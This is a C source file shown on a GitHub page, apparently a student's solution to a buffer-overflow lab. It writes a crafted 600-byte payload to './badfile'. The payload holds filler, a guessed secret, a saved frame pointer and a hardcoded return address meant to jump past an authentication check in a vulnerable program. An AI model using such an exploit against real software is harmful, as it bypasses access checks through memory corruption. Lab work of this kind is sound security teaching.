-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtask2.c
More file actions
28 lines (27 loc) · 827 Bytes
/
task2.c
File metadata and controls
28 lines (27 loc) · 827 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main(int argc, char **argv)
{
char buffer[600];
FILE *badfile;
/* The address of the instruction immediate after the check in main() function. */
char return_address[] = "\x08\x04\x08\xd8"; //Give the address here.
/* Fill the entire buffer with 0x00. */
memset(&buffer, 0x00, 600);
/* You need to fill the buffer with appropriate data here. */
char *p = buffer;
memcpy(p, "12345678", 8);
p += 8;
memcpy(p, "secretxx", 8);
p += 8;
memcpy(p, "\x7f\xff\x75\xb8", 4);
p += 4;
memcpy(p, return_address, 4);
p += 4;
memcpy(p, "\x7f\xff\x75\xd8", 4);
/* Save the content to the file "badfile". */
badfile = fopen("./badfile", "w");
fwrite(buffer, 600, 1, badfile);
fclose(badfile);
}